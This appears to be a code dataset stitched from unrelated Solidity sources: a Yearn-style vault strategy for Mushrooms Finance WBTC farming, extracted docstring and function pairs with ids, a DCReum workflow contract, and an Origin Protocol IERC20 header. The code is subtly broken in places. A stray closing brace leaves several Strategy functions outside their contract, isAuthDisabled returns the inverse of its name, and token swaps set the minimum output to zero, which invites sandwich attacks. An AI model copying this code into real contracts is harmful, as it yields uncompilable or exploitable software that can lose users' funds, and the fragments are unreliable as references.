* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* `Harvest()` calls this function after shares are created during
* `vault.report()`. You can customize this function to any share
* distribution mechanism you want.
*
* See `vault.report()` for further details.
*/
function distributeRewards() internal virtual {
// Transfer 100% of newly-minted shares awarded to this contract to the rewards address.
uint256 balance = vault.balanceOf(address(this));
if (balance > 0) {
vault.transfer(rewards, balance);
}
}
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCost The keeper's estimated cast cost to call `tend()`.
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCost) public virtual view returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost) public virtual view returns (bool) {
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 totalAssets = estimatedTotalAssets();
// NOTE: use the larger of total assets or debt outstanding to book losses properly
(debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding);
// NOTE: take up any remainder here as profit
if (debtPayment > debtOutstanding) {
profit = debtPayment.sub(debtOutstanding);
debtPayment = debtOutstanding;
}
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
debtOutstanding = vault.report(profit, loss, debtPayment);
// Distribute any reward shares earned by the strategy on this report
distributeRewards();
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amount`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.transfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by governance or the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault) || msg.sender == governance());
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.transfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal virtual view returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).transfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
interface MMVault {
function token() external view returns (address);
function getRatio() external view returns (uint256);
function deposit(uint256) external;
function withdraw(uint256) external;
function withdrawAll() external;
function earn() external;
function balance() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address _user) external view returns (uint256);
}
interface MMStrategy {
function harvest() external;
}
interface MMFarmingPool {
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function userInfo(uint256, address) external view returns (uint256 amount, uint256 rewardDebt);
function pendingMM(uint256 _pid, address _user) external view returns (uint256);
}
interface IUni{
function getAmountsOut(
uint256 amountIn,
address[] calldata path
) external view returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
/**
* @title Strategy for Mushrooms WBTC vault/farming pool yield
* @author Mushrooms Finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
contract Strategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address constant public wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); //wbtc
address constant public mm = address(0xa283aA7CfBB27EF0cfBcb2493dD9F4330E0fd304); //MM
address public constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //USDC
address constant public unirouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address constant public sushiroute = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant public mmVault = address(0xb06661A221Ab2Ec615531f9632D6Dc5D2984179A);// Mushrooms mWBTC vault
address constant public mmFarmingPool = address(0xf8873a6080e8dbF41ADa900498DE0951074af577); //Mushrooms mining MasterChef
uint256 constant public mmFarmingPoolId = 11; // Mushrooms farming pool id for mWBTC
uint256 public minMMToSwap = 1; // min $MM to swap during adjustPosition()
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external override view returns (string memory){
return "StratMushroomsytWBTCV1";
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
constructor(address _vault) BaseStrategy(_vault) public {
require(address(want) == wbtc, '!wrongVault');
want.safeApprove(mmVault, uint256(-1));
IERC20(mmVault).safeApprove(mmFarmingPool, uint256(-1));
IERC20(mm).safeApprove(unirouter, uint256(-1));
IERC20(mm).safeApprove(sushiroute, uint256(-1));
}
function setMinMMToSwap(uint256 _minMMToSwap) external onlyAuthorized {
minMMToSwap = _minMMToSwap;
}
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external override view returns (uint256) {
return 0;
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public override view returns (uint256){
(uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this));
uint256 _mmVault = IERC20(mmVault).balanceOf(address(this));
return _convertMTokenToWant(_mToken.add(_mmVault)).add(want.balanceOf(address(this)));
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
){
// Pay debt if any
if (_debtOutstanding > 0) {
(uint256 _amountFreed, uint256 _reportLoss) = liquidatePosition(_debtOutstanding);
_debtPayment = _amountFreed > _debtOutstanding? _debtOutstanding : _amountFreed;
_loss = _reportLoss;
}
// Claim profit
uint256 _pendingMM = MMFarmingPool(mmFarmingPool).pendingMM(mmFarmingPoolId, address(this));
if (_pendingMM > 0){
MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, 0);
}
_profit = _disposeOfMM();
return (_profit, _loss, _debtPayment);
}
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal override{
//emergency exit is dealt with in prepareReturn
if (emergencyExit) {
return;
}
uint256 _before = IERC20(mmVault).balanceOf(address(this));
uint256 _after = _before;
uint256 _want = want.balanceOf(address(this));
if (_want > _debtOutstanding) {
_want = _want.sub(_debtOutstanding);
MMVault(mmVault).deposit(_want);
_after = IERC20(mmVault).balanceOf(address(this));
require(_after > _before, '!mismatchDepositIntoMushrooms');
} else if(_debtOutstanding > _want){
return;
}
if (_after > 0){
MMFarmingPool(mmFarmingPool).deposit(mmFarmingPoolId, _after);
}
}
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds). This function is used during emergency exit instead of
* `prepareReturn()` to liquidate all of the Strategy's positions back to the Vault.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss){
bool liquidateAll = _amountNeeded >= estimatedTotalAssets()? true : false;
if (liquidateAll){
(uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this));
MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, _mToken);
MMVault(mmVault).withdraw(IERC20(mmVault).balanceOf(address(this)));
_liquidatedAmount = IERC20(want).balanceOf(address(this));
return (_liquidatedAmount, _liquidatedAmount < vault.strategies(address(this)).totalDebt? vault.strategies(address(this)).totalDebt.sub(_liquidatedAmount) : 0);
} else{
uint256 _before = IERC20(want).balanceOf(address(this));
if (_before < _amountNeeded){
uint256 _gap = _amountNeeded.sub(_before);
uint256 _mShare = _gap.mul(1e18).div(MMVault(mmVault).getRatio());
uint256 _mmVault = IERC20(mmVault).balanceOf(address(this));
if (_mmVault < _mShare){
uint256 _mvGap = _mShare.sub(_mmVault);
(uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this));
require(_mToken >= _mvGap, '!insufficientMTokenInMasterChef');
MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, _mvGap);
}
MMVault(mmVault).withdraw(_mShare);
uint256 _after = IERC20(want).balanceOf(address(this));
require(_after > _before, '!mismatchMushroomsVaultWithdraw');
return (_after, _amountNeeded > _after? _amountNeeded.sub(_after): 0);
} else{
return (_amountNeeded, _loss);
}
}
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost) public view override returns (bool) {
return super.harvestTrigger(ethToWant(callCost));
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal override{
(uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this));
MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, _mToken);
uint256 _mmVault = IERC20(mmVault).balanceOf(address(this));
if (_mmVault > 0){
IERC20(mmVault).safeTransfer(_newStrategy, _mmVault);
}
uint256 _mm = IERC20(mm).balanceOf(address(this));
if (_mm > 0){
IERC20(mm).safeTransfer(_newStrategy, _mm);
}
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal override view returns (address[] memory){
address[] memory protected = new address[](1);
protected[0] = mmVault;
return protected;
}
function _convertMTokenToWant(uint256 _shares) internal view returns (uint256){
uint256 _mTokenTotal = IERC20(mmVault).totalSupply();
uint256 _wantInVault = MMVault(mmVault).balance();
return (_wantInVault.mul(_shares)).div(_mTokenTotal);
}
// swap $MM for $WBTC
function _disposeOfMM() internal returns (uint256){
uint256 _mm = IERC20(mm).balanceOf(address(this));
uint256 _wantProfit;
if (_mm >= minMMToSwap) {
// intuitively in favor of sushiswap over uniswap if possible for better efficiency and cost
address[] memory pathSushi = new address[](3);
pathSushi[0] = mm;
pathSushi[1] = weth;
pathSushi[2] = wbtc;
uint256 outputSushi = IUni(sushiroute).getAmountsOut(_mm, pathSushi)[pathSushi.length - 1];
address[] memory pathUni = new address[](4);
pathUni[0] = mm;
pathUni[1] = usdc;
pathUni[2] = weth;
pathUni[3] = wbtc;
uint256 outputUni = IUni(unirouter).getAmountsOut(_mm, pathUni)[pathUni.length - 1];
uint256 _want = want.balanceOf(address(this));
if (outputSushi >= outputUni){
IUni(sushiroute).swapExactTokensForTokens(_mm, uint256(0), pathSushi, address(this), now);
} else{
IUni(unirouter).swapExactTokensForTokens(_mm, uint256(0), pathUni, address(this), now);
}
_wantProfit = want.balanceOf(address(this)).sub(_want);
}
return _wantProfit;
}
function ethToWant(uint256 _amount) public view returns (uint256) {
if (_amount == 0) {
return 0;
}
address[] memory path = new address[](2);
path[0] = weth;
path[1] = wbtc;
uint256[] memory amounts = IUni(unirouter).getAmountsOut(_amount, path);
return amounts[amounts.length - 1];
}
}
|
This Strategy's name. You can use this field to manage the "version" of this Strategy, e.g. `StrategySomethingOrOtherV1`. However, "API Version" is managed by `apiVersion()` function above. return This Strategy's name./ The amount (priced in want) of the total assets managed by this strategy should not count towards Yearn's TVL calculations. You can override this field to set it to a non-zero value if some of the assets of this Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. Note that this value must be strictly less than or equal to the amount provided by `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. return The amount of assets this strategy manages that should not be included in Yearn's Total Value Locked (TVL) calculation across it's ecosystem./
|
function name() external virtual view returns (string memory);
function delegatedAssets() external virtual view returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
| 7,739 |
pragma solidity 0.4.10;
contract DCReum {
event LogWorkflowCreation(uint256 indexed workflowId, bytes32 indexed workflowName, address indexed creator);
event LogExecution(uint256 indexed workflowId, uint256 indexed activityId, address indexed executor);
struct Workflow {
bytes32 name;
//activity data:
bytes32[] activityNames;
uint256 included;
uint256 executed;
uint256 pending;
//relations
uint256[] includesTo;
uint256[] excludesTo;
uint256[] responsesTo;
uint256[] conditionsFrom;
uint256[] milestonesFrom;
//auth:
uint256 authDisabled;
address[] authAccounts;
uint256[] authWhitelist;
}
Workflow[] workflows;
function getWorkflowCount() public constant returns (uint256) {
return workflows.length;
}
function getWorkflowName(uint256 workflowId) public constant returns (bytes32) {
return workflows[workflowId].name;
}
function getActivityCount(uint256 workflowId) public constant returns (uint256) {
return workflows[workflowId].activityNames.length;
}
function getActivityName(uint256 workflowId, uint256 activityId) public constant returns (bytes32) {
return workflows[workflowId].activityNames[activityId];
}
function isIncluded(uint256 workflowId, uint256 activityId) public constant returns (bool) {
return ((workflows[workflowId].included & (1<<activityId)) != 0);
}
function isExecuted(uint256 workflowId, uint256 activityId) public constant returns (bool) {
return ((workflows[workflowId].executed & (1<<activityId)) != 0);
}
function isPending(uint256 workflowId, uint256 activityId) public constant returns (bool) {
return ((workflows[workflowId].pending & (1<<activityId)) != 0);
}
function getRelations(uint256 relations) private constant returns (uint8[]) {
uint i;
uint count = 0;
for (i = 0; i < 256; i++) {
if ((relations & (1<<i)) != 0)
count++;
}
uint j = 0;
var result = new uint8[](count);
for (i = 0; i < 256; i++) {
if ((relations & (1<<i)) != 0)
result[j++] = uint8(i);
}
return result;
}
function getIncludes(uint256 workflowId, uint256 activityId) external constant returns (uint8[]) {
return getRelations(workflows[workflowId].includesTo[activityId]);
}
function getExcludes(uint256 workflowId, uint256 activityId) external constant returns (uint8[]) {
return getRelations(workflows[workflowId].excludesTo[activityId]);
}
function getResponses(uint256 workflowId, uint256 activityId) external constant returns (uint8[]) {
return getRelations(workflows[workflowId].responsesTo[activityId]);
}
function getConditions(uint256 workflowId, uint256 activityId) external constant returns (uint8[]) {
return getRelations(workflows[workflowId].conditionsFrom[activityId]);
}
function getMilestones(uint256 workflowId, uint256 activityId) external constant returns (uint8[]) {
return getRelations(workflows[workflowId].milestonesFrom[activityId]);
}
function getAccountWhitelist(uint256 workflowId, uint256 activityId) public constant returns (address[]) {
var workflow = workflows[workflowId];
uint i;
uint j;
uint count;
for (i = 0; i < workflow.authWhitelist.length; i++)
if ((workflow.authWhitelist[i] & (1<<activityId)) != 0)
count++;
j = 0;
var result = new address[](count);
for (i = 0; i < workflow.authWhitelist.length; i++)
if ((workflow.authWhitelist[i] & (1<<activityId)) != 0)
result[j++] = workflow.authAccounts[i];
return result;
}
function isAuthDisabled(uint256 workflowId, uint256 activityId) public constant returns (bool) {
return ((workflows[workflowId].authDisabled & (1<<activityId)) == 0);
}
function canExecute(uint256 workflowId, uint256 activityId) public constant returns (bool) {
var workflow = workflows[workflowId];
uint32 i;
// sender address must have rights to execute or authorization must be disabled entirely
if ((workflow.authDisabled & (1<<activityId)) == 0) {
for (i = 0; i < workflow.authAccounts.length; i++)
if (workflow.authAccounts[i] == msg.sender && (workflow.authWhitelist[i] & (1<<activityId)) != 0)
break; // sender authorized
// sender not in authAccounts array or was not authorized by authWhitelist
if (i == workflow.authAccounts.length)
return false;
}
// activity must be included
if ((workflow.included & (1<<activityId)) == 0) return false;
// all conditions executed
if(workflow.conditionsFrom[activityId] & (~workflow.executed & workflow.included) != 0) return false;
// no milestones pending
if(workflow.milestonesFrom[activityId] & (workflow.pending & workflow.included) != 0) return false;
return true;
}
function execute(uint256 workflowId, uint256 activityId) {
var workflow = workflows[workflowId];
uint32 i;
if (!canExecute(workflowId, activityId)) throw;
// executed activity
workflow.executed = workflow.executed | (1<<activityId);
workflow.pending = workflow.pending & ~(1<<activityId);
// exclude and include relations pass
// note includes happens after the exclude pass
workflow.included = (workflow.included & ~workflow.excludesTo[activityId]) | workflow.includesTo[activityId];
// response relations pass
workflow.pending = (workflow.pending | workflow.responsesTo[activityId]);
LogExecution(workflowId, activityId, msg.sender);
}
function createWorkflow(
bytes32 workflowName,
bytes32[] activityNames,
// packed state variables
uint256 includedStates,
uint256 executedStates,
uint256 pendingStates,
// relations
uint256[] includesTo,
uint256[] excludesTo,
uint256[] responsesTo,
uint256[] conditionsFrom,
uint256[] milestonesFrom,
// auth
uint256 authDisabled,
address[] authAccounts,
uint256[] authWhitelist
) {
assert(activityNames.length <= 256);
assert(activityNames.length == includesTo.length);
assert(activityNames.length == excludesTo.length);
assert(activityNames.length == responsesTo.length);
assert(activityNames.length == conditionsFrom.length);
assert(activityNames.length == milestonesFrom.length);
assert(authAccounts.length == authWhitelist.length);
var workflow = workflows[workflows.length++];
workflow.name = workflowName;
// activity data
workflow.activityNames = activityNames;
workflow.included = includedStates;
workflow.executed = executedStates;
workflow.pending = pendingStates;
// relations
workflow.includesTo = includesTo;
workflow.excludesTo = excludesTo;
workflow.responsesTo = responsesTo;
workflow.conditionsFrom = conditionsFrom;
workflow.milestonesFrom = milestonesFrom;
// auth
workflow.authDisabled = authDisabled;
workflow.authAccounts = authAccounts;
workflow.authWhitelist = authWhitelist;
LogWorkflowCreation(workflows.length - 1, workflow.name, msg.sender);
}
}
|
executed activity exclude and include relations pass note includes happens after the exclude pass response relations pass
|
function execute(uint256 workflowId, uint256 activityId) {
var workflow = workflows[workflowId];
uint32 i;
if (!canExecute(workflowId, activityId)) throw;
workflow.executed = workflow.executed | (1<<activityId);
workflow.pending = workflow.pending & ~(1<<activityId);
workflow.included = (workflow.included & ~workflow.excludesTo[activityId]) | workflow.includesTo[activityId];
workflow.pending = (workflow.pending | workflow.responsesTo[activityId]);
LogExecution(workflowId, activityId, msg.sender);
}
| 7,289,964 |
/*
* Origin Protocol
* https://originprotocol.com
*
* Released under the MIT license
* https://github.com/OriginProtocol/origin-dollar
*
* Copyright 2020 Origin Protocol, Inc
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
